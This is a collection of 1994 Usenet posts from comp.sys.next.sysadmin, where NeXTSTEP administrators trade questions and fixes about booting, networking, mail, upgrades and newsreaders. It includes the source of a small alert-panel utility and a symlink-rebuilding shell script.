Mar 9 21:32:13 limerick mach: ttyscc0: receive error 2 (-901)
Mar 9 21:32:14 limerick mach: ttyscc0: receive error 2 (-900)
Mar 9 21:32:14 limerick mach: ttyscc0: receive error 2 (-901)
Mar 9 21:32:27 limerick last message repeated 23 times
Mar 9 21:34:17 limerick mach: ttyscc0: receive error 2 (-900)
Mar 9 21:34:17 limerick mach: ttyscc0: receive error 2 (-901)
Any solutions?
thanks a lot,
David
P.S.
There also doesn't seem to be a way under NS to have the modem initialized by
getty (something like /etc/default/ttyS0.default under SVR4). Is this interfave
really that primitive?
--
David-Michael Lincke
dlincke@sgcl1.unisg.ch
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From: d3c724@baldrick.pnl.gov (DE Cowley)
Newsgroups: comp.sys.next.sysadmin
Subject: I hate to say this but : Me Too! (Was Re: CAN'T BOOT! More Info.)
Followup-To: comp.sys.next.sysadmin
Date: 9 Mar 1994 22:30:23 GMT
Organization: Battelle Memorial Institute
Sender: Dave Cowley
Distribution: world
Message-ID: <2llilv$cs5@bbs.pnl.gov>
References: <2jjau5$803@hgc.edu> <1994Mar3.062714.26095@merlin.hgc.edu>
Summary: Can't boot CD Rom, LoginWindow doesn't come up
In article <1994Mar3.062714.26095@merlin.hgc.edu> wils4198@hgc.edu (George H. Wilson) writes:
>wils4198@hgc.edu (George H. Wilson) wrote:
>>Hi, I hope someone can help!
>>
>>I have a NeXT Cube 040 running v3.0 I had a disk problem and had to
>>run fsck and NOW THE MACHINE WILL NOT BOOT. The last lines to be displayed
>>before it freezes are:
>>
>>Starting standard daemons: update cron
>>Mar 2 00:19:56 Localhost: reboot complete
>>
>>I am able to boot the machine using and OD and NS v2.0 so I can get to my
>>hard disk - WHAT FILES SHOULD I LOOK AT?? CAN I FIX THIS OR MUST I RELOAD
>>NS V3.0?? You see, the big problem with this is - talk about Murphy's
>>Law!!! - my CD-ROM seems to have died too!!! It will not "pull in" the
>>caddy!! But where I should take that to get it fixed is another
>>question. Could someone please just try to answer the first question?
>>I'll worry about fixing the CD-ROM later (unless I need to relaod the OS).
>>
>>Any help anyone can give would be greatly appreciated!!!
>>
>
>Someone told me I should check /usr/adm/messages ...
>
>Here is the offending line:
>
> loginwindow[nnn]: loginwindow: could not find WindowServer port!
>
>where nnn is a a series of numbers (185,186,187) as the message is
>repeated many times.
>
>Can anyone tell me what file(s) must be replaced to correct this problem.
>I want to avoid replacing many files as:
> 1) I will probably have to download them from somewhere.
> 2) I will have to use a DOS floppy to transfer them to the NeXT
>All because my CD-ROM is broken too!
Has anyone answered this post? I (my wife actually) has an '040 cube
showing precisely the same symptoms after a power failure. We would
greatly appreciate any help anybody could offer.
- Dave Cowley
------------
David Cowley, Unix/VMS System Manager, Pacific Northwest Laboratories
PO Box 999 MSIN K7-53 Voice: (509) 375-2260
Richland, WA 99352 Internet: de_cowley@pnl.gov
Newsgroups: comp.sys.next.sysadmin
From: bjanzen@lexmark.com
Subject: Simple Network Starter Pain
Sender: usenet@lexmark.com
Message-ID: <16F74102E4.BJANZEN@lexmark.com>
Date: Wed, 9 Mar 1994 23:24:36 GMT
Organization: Lexmark International, Lexington, KY
I have a machine on my network that doesn't share admin. data, but I need
to set "Limit ability to read administrative data to the local network" as NO.
Every time I reboot the machine, I can't get to other machines, and I have to
re-run SNS, resetting this under "Other Network Information". Is there
something I can set (via dwrite) to make NO the default?
Thanks in advance.
Barry Janzen
bjanzen@lexmark.com
NeXTMail OK
From: smcgrew@theocean.uoregon.edu (Steven McGrew)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NextMail <----> Microsoft Mail? How?
Date: 10 Mar 1994 01:13:30 GMT
Organization: University of Oregon
Distribution: world
Message-ID: <2lls7q$in1@pith.uoregon.edu>
References: <1994Mar7.180059.12832@cc.usu.edu>
In article <1994Mar7.180059.12832@cc.usu.edu> slxn8@cc.usu.edu writes:
> Are there any solutions to the problem of exchanging Nextmail with
Microsoft
> Mail? Simple solutions that wouldn't include such things as attachments
would
> be acceptable for now, but I would really like as complete a "exchange"
as
> possible.
>
> Additions to either package would be acceptable.
>
> Any help appreciated.
> ======================================================================
> John Zollinger (NextMail Preferred)
> Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com
> [Moore BCS - Logan, Utah] "Life is too important to take seriously."
> ======================================================================
The only way I know to integrate the two is to purchase gateway software
for MS-Mail. I am in the same situation and we use an SMTP gateway
package by StarNine Development. This allows microsoft mail to recieve
standard SMTP mail protocol. I do not know of another way to get this to
work.
If you need more information get in touch with me.
smcgrew@theocean.uoregon.edu
-Steve
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: sed and tar help needed
Message-ID: <CMF8Cx.B28@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Mar9.173302.604@dbulm1.uucp>
Date: Wed, 9 Mar 1994 23:38:55 GMT
In article <1994Mar9.173302.604@dbulm1.uucp> gloger@dbulm1.uucp (Jochen
Gloger) writes:
[...Question about remapping characters with sed removed...]
I don't know how to do it with sed, but I would suggest trying gnu recode.
> 2. Imaging a list of file names provided for instance by a UNIX "find"
> command. Now I want to put this file list into a tar pipe, to copy these
files
> to another location, but this did not work, also.
>
Try
<filelist provided by find> | gnutar -cf - -T - | cd toAnotherLocation;
tar xf -
The -T <filename> option of gnutar takes a list of filenames provided
in <filenames>. In the example above - indicates the use of stdin.
The filenamelist has to be one name per line.
Have fun...
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need to display message to user's console.
Date: 10 Mar 1994 07:33:32 GMT
Organization: San Francisco State University
Message-ID: <2lmigc$q3o@nic-nac.CSU.net>
References: <1994Mar9.210636.22884@cs.sfu.ca>
In article <1994Mar9.210636.22884@cs.sfu.ca> melli@cs.sfu.ca
(Gabor Melli) writes:
>I want to automatically display a message to the console of
>a networked NeXT that it is being rebooted.
>
>When I create a simple display application with Interface
>Builder I cannot get it to display on the console even as
>root?
Once again, the source to "Complain" (for NEXTSTEP 3.1 or later)
[inspired by NeXT's "Inform"]
-=EPS=-
------- Complain.m
#include <stdio.h>
#ifdef NX_COMPILER_RELEASE_3_0
#include <bsd/sysexits.h>
#include <mach/mach.h>
#else
#include <sysexits.h>
#include <mach.h>
#endif
#import <servers/bootstrap.h>
#import <servers/netname.h>
#import <appkit/Application.h>
#import <appkit/Panel.h>
main(int argc, char *argv[])
{
int s;
extern int optind;
extern char *optarg;
char *title, *msg, *deftxt, *alttxt, *othtxt;
int obnoxious;
port_t wsp;
title=(char *)NULL;
msg=(char *)NULL;
deftxt=(char *)NULL;
alttxt=(char *)NULL;
othtxt=(char *)NULL;
obnoxious=0;
while ((s=getopt(argc, argv, "A:D:O:T:f"))!=EOF) switch (s) {
case 'A':
alttxt=optarg;
break;
case 'D':
deftxt=optarg;
break;
case 'O':
othtxt=optarg;
break;
case 'T':
title=optarg;
break;
case 'f':
obnoxious++;
break;
default:
goto usage;
}
if (argc-optind!=1) {
usage:
(void)fprintf(stderr,
"Usage: %s [-f] [-T title] [-D default] [[-A alternate] [-O other]] msg\n",
*argv);
(void)fputs("\t-f activate self\n", stderr);
exit(EX_USAGE);
}
msg=argv[optind];
if (netname_look_up(name_server_port, "", "NextStep(tm) Window Server",
&wsp)!=NETNAME_SUCCESS&&bootstrap_look_up(bootstrap_port,
"WindowServer", &wsp)!=BOOTSTRAP_SUCCESS) {
#ifdef NX_COMPILER_RELEASE_3_0
FILE *f;
if (f=fopen("/usr/spool/lpd.lock", "r")) {
int pid;
task_t t;
port_t b0, b1;
if (fscanf(f, "%d", &pid)==1&&pid>3&&
task_by_unix_pid(task_self(), pid, &t)==KERN_SUCCESS) {
if (task_get_bootstrap_port(t, &b1)==KERN_SUCCESS&&
b1!=bootstrap_port) {
b0=bootstrap_port;
if (task_set_bootstrap_port(task_self(), b1)==
KERN_SUCCESS) {
bootstrap_port=b1;
(void)port_deallocate(task_self(), b0);
}
}
(void)port_deallocate(task_self(), t);
}
(void)fclose(f);
}
#else
exit(EX_UNAVAILABLE);
#endif
}
[Application new];
if (obnoxious) (void)[NXApp activateSelf:YES];
s=NXRunAlertPanel(title, msg, deftxt, alttxt, othtxt);
[NXApp free];
switch (s) {
case NX_ALERTDEFAULT:
exit(0);
case NX_ALERTALTERNATE:
exit(1);
case NX_ALERTOTHER:
exit(2);
case NX_ALERTERROR:
exit(EX_OSERR);
default:
exit(EX_UNAVAILABLE);
}
}
------- Makefile
CFLAGS=-O
LDFLAGS=-s -sectcreate __ICON app app.tiff
LOADLIBES=-lNeXT_s
OBJS=Complain.o
all: Complain
Complain: $(OBJS) app.tiff
$(CC) -o $@ $(LDFLAGS) $(OBJS) $(LOADLIBES)
Complain.o: Complain.m
$(CC) -c $(CFLAGS) $*.m
clean:
rm -f Complain $(OBJS)
------- app.tiff
[Any appropriate 48x48 TIFF image]
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: NG problem
Message-ID: <1994Mar10.083352.541@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Thu, 10 Mar 1994 08:33:52 GMT
I upgraded to NG 3.75 and since then it starts hanging (spinning disk) after a
couple of minutes. What is going on?
--
Gerben Wierda [NEXTSTEP RD242] gerben@rna.indiv.nluug.nl
"If you don't know where you are going, any road will
take you there." From the Talmud, rephrased in
Lewis Carroll, "Alice in Wonderland".
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.softsys,comp.sys.next.sysadmin
Subject: Re: ppp-0.3 on cs.orst.edu
Date: 10 Mar 1994 08:32:38 -0000
Organization: me organised, that's a joke.
Message-ID: <2lmlv6$11f@steffi.demon.co.uk>
References: <2lldt9$iql@sugar.neosoft.com>
kunkee@sugar.NeoSoft.COM (Randy Kunkee) wrote in comp.sys.next.softsys,comp.sys.next.sysadmin
>Anyways, looks pretty good, but I don't have a clue as to how to connect
>this up to the OS. Of course, I need to rtfm the bookshelf, but any
>pointers would of course be helpful.
>
>--
>Randy Kunkee
>Self Employed
>713-870-1334
>kunkee@sugar.neosoft.com
In the INSTALL directory there's a description from a Morning star
employee as to how he's using this. I forgoed installing this due the
chronic lack of documentation.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: A personal Sys Admin winge.
Date: 10 Mar 1994 09:50:37 -0000
Organization: me organised, that's a joke.
Message-ID: <2lmqhd$eh@steffi.demon.co.uk>
Recently I upgraded to NS3.2 via means of a complete reinstall. When
you chose to adopt this method you have to be prepared to do a little
extra when bringing your system back up.
I'd like to generate discussion on how (if possible) or if NeXT should
rearrange things a little.
As it happens, everything went rather smoothly but it could have been
a whole lot easier. and perhaps have people share their upgrading
experiences in order to make the process easier.
1. After the install you have a complete vanilla system. (I think it's
about time that the complete reinstall gave you an option to ditch the
"me" account and just logged you into root instead) I don't consider
that a security risk. (There's nothing on the system at this point)
2. I like most good sys admin people use /usr/local where ever
possible. Unfortunately, you don't gain much from this at all. I
would have liked to have just pulled off /usr/local and /Users from
my backup and that would be that. (I think I'll change /Users to
/usr/local/users/)
But I encounted the following problems.
1. netinfo's database is in /etc/ (I can live with that)
2. dialupip is hardcoded to the path /usr/dialupip/ (PNI isn't)
3. 3rd party drives ala NXFAX sit in /usr/lib/NextPrinters and they've
chose to keep the password information /usr/adm
4 /NextLibrary/Receipts is where all packages are kept.
-----
As I mentioned this is just a minor winge and admitately you could
argue that that's what Upgrade.app is for. I personally won't touch
Upgrade.app when upgrading to a new release.
I can live with the fact that /etc/ hold configuration information
including sendmail & Netinfo. But is it really necessary to have 3rd party
drivers under /usr/lib together with /NextLibrary/Receipts?
Just a thought.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: bob@stirling.egr.duke.edu (Robert R Reynolds)
Newsgroups: comp.sys.next.sysadmin
Subject: Newsgrazer spontaneously terminating
Date: 10 Mar 1994 14:10:32 GMT
Organization: Duke University; Durham, N.C., USA
Message-ID: <2ln9oo$9gp@news.duke.edu>
Keywords: Newsgrazer
I have been running Newsgrazer V72.3 for over a year and
on NS 3.2 for a few months with almost no problems.
Suddenly it simply terminates after 20-60 seconds every time
it launches. Has anyone else experienced this problem?
I'd appreciate suggestions.
Thanks,
Bob
bob@stirling.egr.duke.edu
(email preferred since it's hard to read news these days)
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 10 Mar 1994 15:11:06 GMT
Organization: Brown University
Message-ID: <2lndaa$6t6@cat.cis.Brown.EDU>
References: <2lmqhd$eh@steffi.demon.co.uk>
Robert Nicholson writes
>Recently I upgraded to NS3.2 via means of a complete reinstall. When
>you chose to adopt this method you have to be prepared to do a little
>extra when bringing your system back up.
I finally decided I'd had enough of this sort of thing, and it was time
to begin living clean. Here is what I did:
(1) Do a diff -r of your entire root directory against a virgin software
distribution---this may be prohibitively slow on CD, but on MO disk
it took less than an hour. Write it out to a file, and grovel
through it by hand. You will be amazed at how much stuff has gotten
into weird places over the years: one example you missed was TeX
fonts, which ought to be in /LocalLibrary instead of /NextLibrary,
IMHO. Another gotcha is the emacs distribution, if you've modified
the stock one in any way.
(2) Decide which of the files are garbage and don't need backing up.
(Examples: logfiles, anything in /tmp or /.NeXT/.NextTrash.) Then
move _everything_ else into either /LocalApps, /LocalLibrary,
/LocalAdmin, /LocalDeveloper, /usr/local, or /Users, as appropriate.
Symlink it back to where it was, and add a line to do the symlink
to a shell script called buildlinks.
(3) Make a top-level directory called /local, and add it to /.hidden so
you never see it. Make /.hidden a link to something local, as I said
above. Now move all of the /Local hierarchies, and also /usr/local
and /Users, into /local, and link them back into /. Now, for
example, your /usr/dialupip is a symlink to /usr/local/dialupip,
which is itself a symlink to /local/usr/dialupip. You've got a fast
computer and can live with the double indirection.
(4) Put buildlinks itself into /local. Now you're safe: when you upgrade
just build a virgin system, move /local into it, and run buildlinks.
It's a hassle for the initial setup, in direct proportion to how
sloppy you've been so far...but it's worth it once done. A side
benefit is that /local can be a separate filesystem if you ever get
a second hard drive or partition...and you can stop backing up
everything outside of /local. If it's on a separate filesystem,
you can isolate it with dump/restore; otherwise, with gnutar.
Here is my buildlinks. It may save someone some work if they don't want
to go through their whole filesystem by hand. If you move all the files
I moved, you are unlikely to miss anything important unless you've been
mucking in hierarchies where you shouldn't.
!#/bin/sh
cd /
ln -s /local/LocalApps .
ln -s /local/LocalLibrary .
ln -s /local/Users .
ln -s /local/usr /usr/local
mkdir cores
chmod 1777 cores
ln -s /Users/joshua/.bindings .
rm -f .cshrc
ln -s /local/patches/root.cshrc .cshrc
rm -f .hidden
ln -s /local/patches/root.hidden .hidden
ln -s /Users/joshua/.kermrc .
ln -s /Users/joshua/.macros .
ln -s /Users/joshua/.netrc .
ln -s /local/patches/root.profile .profile
ln -s /Users/joshua/.zlogin .
ln -s /local/patches/root.zshenv .zshenv
ln -s /Users/joshua/.zshrc .
cd /Users/joshua/Library/Images/MyIcons
cp FromNet/NextAdmin.tiff /NextAdmin/.dir.tiff
cp FromNet/NextAdmin.O.tiff /NextAdmin/.opendir.tiff
cp FromNet/NextApps.tiff /NextApps/.dir.tiff
cp FromNet/NextApps.O.tiff /NextApps/.opendir.tiff
cp NextDemos.tiff /NextDeveloper/Demos/.dir.tiff
cp NextDemos.O.tiff /NextDeveloper/Demos/.opendir.tiff
cp NextLibrary.tiff /NextLibrary/.dir.tiff
cp NextLibrary.O.tiff /NextLibrary/.opendir.tiff
cp FromNet/Music.tiff /NextLibrary/Music/.dir.tiff
cp FromNet/Music.O.tiff /NextLibrary/Music/.opendir.tiff
cp FromNet/Scores.tiff /NextLibrary/Music/Scores/.dir.tiff
cp FromNet/Cube.tiff /.dir.tiff
cp FromNet/Cube.O.tiff /.opendir.tiff
cd /NextDeveloper
ln -s /local/1.0apps/CompressionLab Demos
ln -s /local/patches/Gourmet.README Demos/Gourmet.app/README
ln -s /local/1.0apps/Ray.app Demos
ln -s /local/1.0apps/TeXview Demos
ln -s /local/1.0apps/EventLab Examples
cd /NextLibrary
ln -s /LocalLibrary/Documentation/CommonLisp Documentation
ln -s /LocalLibrary/Documentation/Mathematica Documentation
ln -s /local/patches/C++Guide.rtf Documentation/NextDev/ReleaseNotes
ln -s /usr/local/man/catl Documentation/Unix/ManPages
ln -s /usr/local/man/manl Documentation/Unix/ManPages
ln -s /LocalLibrary/Fonts/TeXFonts Fonts
rm -rf Packages/ThirdParty
ln -s /LocalLibrary/Packages Packages/ThirdParty
ln -s /LocalLibrary/Tex .
cd Images/Scene_movies
mv -f /local/patches/Movies/eagle.script.ps eagle.movie/eagle.script.ps
mv -f /local/patches/Movies/fish.script.ps fish.movie/fish.script.ps
mv -f /local/patches/Movies/gravity.script.ps
gravity.movie/gravity.script.ps
mv -f /local/patches/Movies/Bonk.snd gravity.movie/Bonk.snd
mv -f /local/patches/Movies/spotlight.script.ps
spotlight.movie/spotlight.script.ps
ln -s /local/1.0apps/holey.movie .
ln -s /LocalLibrary/Scene_movies/hslide.movie .
ln -s /LocalLibrary/Scene_movies/jitterbug.movie .
ln -s /LocalLibrary/Scene_movies/melt.movie .
ln -s /LocalLibrary/Scene_movies/stretch.movie .
ln -s /LocalLibrary/Scene_movies/suck.movie .
ln -s /LocalLibrary/Scene_movies/vslide.movie .
ln -s /local/1.0apps/Scene_screens ..
cd /private/etc
ln -s /usr/local/adm/crontab.local .
rm -f find.codes
ln -s /usr/local/adm/find.codes .
ln -s /usr/local/adm/gettytab .
ln -s /usr/local/dialupip/config/named .
ln -s /usr/local/dialupip/config/named/named.boot .
ln -s /usr/local/adm/nxfax .
mv rc.local rc.local.orig
ln -s /usr/local/adm/rc.local .
ln -s /usr/local/dialupip/config/resolv.conf .
ln -s /usr/local/adm/shells .
mv -f syslog.conf syslog.conf.orig
ln -s /usr/local/dialupip/config/syslog.conf .
cd sendmail
ln -s /usr/local/dialupip/config/sendmail.cf sendmail.josh-hacked.cf
ln -s sendmail.josh-hacked.cf sendmail.cf
cd /private/spool
mkdir NeXTFaxes
chown agent.daemon NeXTFaxes
cd /usr
ln -s /usr/local/gnu/bin/perl bin
ln -s /usr/local/cl .
ln -s /usr/local/dialupip .
ln -s /usr/local/dict dict/localln -s local/sybase .
ln -s /usr/local/games .
ln -s /usr/lib/NextPrinter/Class2_Fax_Modem
lib/NextPrinter/NXFax_Fax_Modem
ln -s /usr/local/lib/NextPrinter/NXFax_Fax_Modem_Driver lib/NextPrinter
ln -s /usr/lib/NextPrinter/pdf/Class2_Fax_Modem.pdf
lib/NextPrinter/pdf/NXFax_Fax_Modem.pdf
ln -s /usr/local/lib/FixFontBug lib/NextStep
ln -s /private/etc/crontab.local lib
ln -s /usr/local/lib/emacs/etc/COOKIES lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/FAQ lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/FTP lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/GNU lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/INTERVIEW lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/NICKLES.WORTH lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/OPTIONS lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/refcard.tex lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/spook.lines lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/termcap.ucb lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/testfile lib/emacs/etc
ln -s /usr/local/lib/emacs/etc/vipcard.tex lib/emacs/etc
ln -s /usr/local/lib/emacs/lisp/eterm-fns.el lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/eterm-fns.elc lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/eterm-low.el lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/eterm-low.elc lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/eterm-mouse.el lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/eterm-mouse.elc lib/emacs/lisp
ln -s /usr/local/lib/emacs/lisp/term/eterm.el lib/emacs/lisp/term
mv -f /local/patches/updatedb lib/find/updatedb
ln -s /usr/local/lib/tex lib
ln -s /usr/local/lib/mf lib
From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Newsgrazer spontaneously terminating
Date: 10 Mar 1994 15:24:04 GMT
Organization: University of Pennsylvania
Message-ID: <2lne2k$c0u@netnews.upenn.edu>
References: <2ln9oo$9gp@news.duke.edu>
In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu (Robert R
Reynolds) writes:
>I have been running Newsgrazer V72.3 for over a year and
>on NS 3.2 for a few months with almost no problems.
>
>Suddenly it simply terminates after 20-60 seconds every time
>it launches. Has anyone else experienced this problem?
>
>I'd appreciate suggestions.
I'm experiencing the same. No solution yet.
-dave
Newsgroups: comp.sys.next.sysadmin
From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: Finding 'amd' port for NS/I
Message-ID: <CMGHAK.393@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
Date: Thu, 10 Mar 1994 15:49:30 GMT
Dear All
Does anyone know offhand where I could pick up a port of
amd (automounter version) for NeXTStep 3.2 for Intel?
Thanks
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: eric_t@cs.uiuc.edu (Eric de_la_Tribouille)
Subject: New demo of Cub'X-Window (X11R5) on cs.orst.edu ! + all the complete benchmarks
Message-ID: <CMGI3v.DKK@cs.uiuc.edu>
Sender: news@cs.uiuc.edu
Organization: University of Illinois, Dept. of Comp. Sci., Urbana, IL
Date: Thu, 10 Mar 1994 16:07:07 GMT
Hi fellows !
I put on cs.orst.edu the last demo version of Cub'X-Window, the most optimized
implementation of X11R5 for NeXT computers and PCs running NEXTSTEP. You'll
find the files in /pub/next/XNeXT.
The files of the demos are :
demo for NeXT computers : CubXWindowDemoBlack44.tar
demo for PCs running NEXTSTEP : CubXWindowDemoWhite44.tar
If you want to get all the informations about Cub'X-Window, including all the
MIT's benchmarks, just ftp the files :
CubXWindowBenchANDInfos.tar.gz.README.rtf
CubXWindowBenchANDInfos.tar.gz
Best regards,
- Eric
--
"The trouble with our times is
that the future is not what it
used to be." - Paul Valery
_____________________________________________________________________
From: rpopp@ebigek01.ciw.uni-karlsruhe.de (Ruediger Popp)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Newsgrazer spontaneously terminating
Date: 10 Mar 1994 16:49:00 GMT
Organization: University of Karlsruhe, Germany
Message-ID: <2lnj1s$3fa@nz12.rz.uni-karlsruhe.de>
References: <2lne2k$c0u@netnews.upenn.edu>
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In article <2lne2k$c0u@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu writes:
> In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu (Robert R
> Reynolds) writes:
> >I have been running Newsgrazer V72.3 for over a year and
> >on NS 3.2 for a few months with almost no problems.
> >
> >Suddenly it simply terminates after 20-60 seconds every time
> >it launches. Has anyone else experienced this problem?
> >
> >I'd appreciate suggestions.
>
> I'm experiencing the same. No solution yet.
>
> -dave
I had the same Problem.
When I deleted my .newsrc the problem was solved.
---
-----------------------------------------------------------------
Ruediger Popp
FAX : +49 721 69 30 19
E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred)
-----------------------------------------------------------------
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: Time/Date Dock Icon Blank
Date: 10 Mar 1994 10:49:03 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403101531.AA05778@guitar.ho.att.com>
Hi.
Anyone know why my Time/Date dock icon is blank - shows "PREF" in the time slot
and nothing on the calendar. I used preferences to synchronize the clock with
the network time daemon and the dock icon shows the correct time/date until I
close the Preferences app.
Thanks.
Dan hurley
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2lnijr$9q@steffi.demon.co.uk>
Control: cancel <2lnijr$9q@steffi.demon.co.uk>
Date: 10 Mar 1994 17:58:45 -0000
Organization: me organized? That's a joke!
Message-ID: <2lnn4l$cp@steffi.demon.co.uk>
<2lnijr$9q@steffi.demon.co.uk> was cancelled from within trn.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2lnkp8$ar@steffi.demon.co.uk>
Control: cancel <2lnkp8$ar@steffi.demon.co.uk>
Date: 10 Mar 1994 17:58:51 -0000
Organization: me organized? That's a joke!
Message-ID: <2lnn4r$cs@steffi.demon.co.uk>
<2lnkp8$ar@steffi.demon.co.uk> was cancelled from within trn.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: sweberg@garfield.wes.army.mil (Scott D. Weberg)
Newsgroups: comp.sys.next.sysadmin
Subject: Trying to export a printer!!!!
Date: 10 Mar 1994 18:00:24 GMT
Organization: USACE Waterways Experiment Station
Message-ID: <2lnn7o$4nt@Joanna.Wes.Army.Mil>
I am running v. 2.1 of NextStep. I am trying to export my local printer
so that a PC running NextStep 3.? can print using my NeXT printer.
So, I get into the PrintManager.app, and I select the Local_Printer. Then
I hit the 'Configure' button to bring up the configure panel. I select
'Public' Access, and I type in a Remote Name. The root domain is
automatically selected. When I press "OK", I get this stupid Alert panel
that says:
Printer cannot be exported to this same computer.
I am not running NetInfo, and I don't desire to do so. These machines are
connected to the station-wide TCP/IP network, and I don't want to set up
NetInfo just for 2 machines. So I am wondering if this can even be done??
Can a NextStation running 2.1 of the OS act as a print server for another
NeXT machine when they are on a NON-NetInfo network? If this can be done,
I would appreciate some help. If there is another reason for the error
that I am getting when I try to make my printer public, please tell me
what it is! Any help would be greatly appreciated. Email me directly,
please.
Thank you very much.
Scott D. Weberg
sweberg@garfield.wes.army.mil
From: hsr@cs.Stanford.EDU (Scott Roy)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 10 Mar 1994 18:39:18 GMT
Organization: Stanford University: Computer Science Department
Distribution: world
Message-ID: <2lnpgm$qdr@Times.Stanford.EDU>
References: <2lndaa$6t6@cat.cis.Brown.EDU>
Joshua's buildlinks idea is essentially the path I've followed. The main
thing I always worry about, though, is the netinfo database. I'm fearful
to just copy my old one for lack of a way to tell when NeXT has added new
information to it.
Currently I do a bunch of manual nidumps before the upgrade and niloads
after. Does anyone have a more elegant way?
---
Scott Roy
Department of Computer Science
Stanford University
Newsgroups: comp.sys.next.sysadmin
From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Subject: NSfIP: Hints on nbu ??
Message-ID: <1994Mar10.190332.24298@sun0.urz.uni-heidelberg.de>
Sender: news@sun0.urz.uni-heidelberg.de (NetNews)
Organization: University of Heidelberg, Germany
Date: Thu, 10 Mar 94 19:03:32 GMT
I loosely remember that with 3.0/Moto the hint appeared to increase the
number of buffers for sake of speed. Since my Intel system has a slow
disk and a slow host adapter, I wonder if it would increase the
performance if I set the number of buffers higher, even in 3.2 ?
I found no hint on nbu in the documentation. In the FAQ there's only a
short entry about HOW to set nbu, but it lacks any information about
advantages and disadvantages.
So I would appreciate any hints on this topic.
Gregor
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From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: 100K limit on incoming mail on NeXTs?
Date: 10 Mar 1994 18:53:46 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2lnqbq$oqp@hub.ucsb.edu>
I am surprised that I have never run up against this before now, but is there
a size limit on incoming mail on the NeXT? We are on the Internet directly,
and have no uucp connections between us and the site that tried to mail us,
but they got the following error:
----- Transcript of session follows -----
554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... Message is too large;
100000 bytes max
554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... 554 Service unavailable
----- Return message suppressed -----
Is there a way to expand or unset this? I still find it hard to believe that
this limit has never before been hit, given all the NextMail I have received.
Thanks for any tips.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin
From: wfischer@bio.indiana.edu (Will Fischer)
Subject: Re: sed and tar help needed
Message-ID: <CMGoqA.5An@usenet.ucs.indiana.edu>
Followup-To: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin
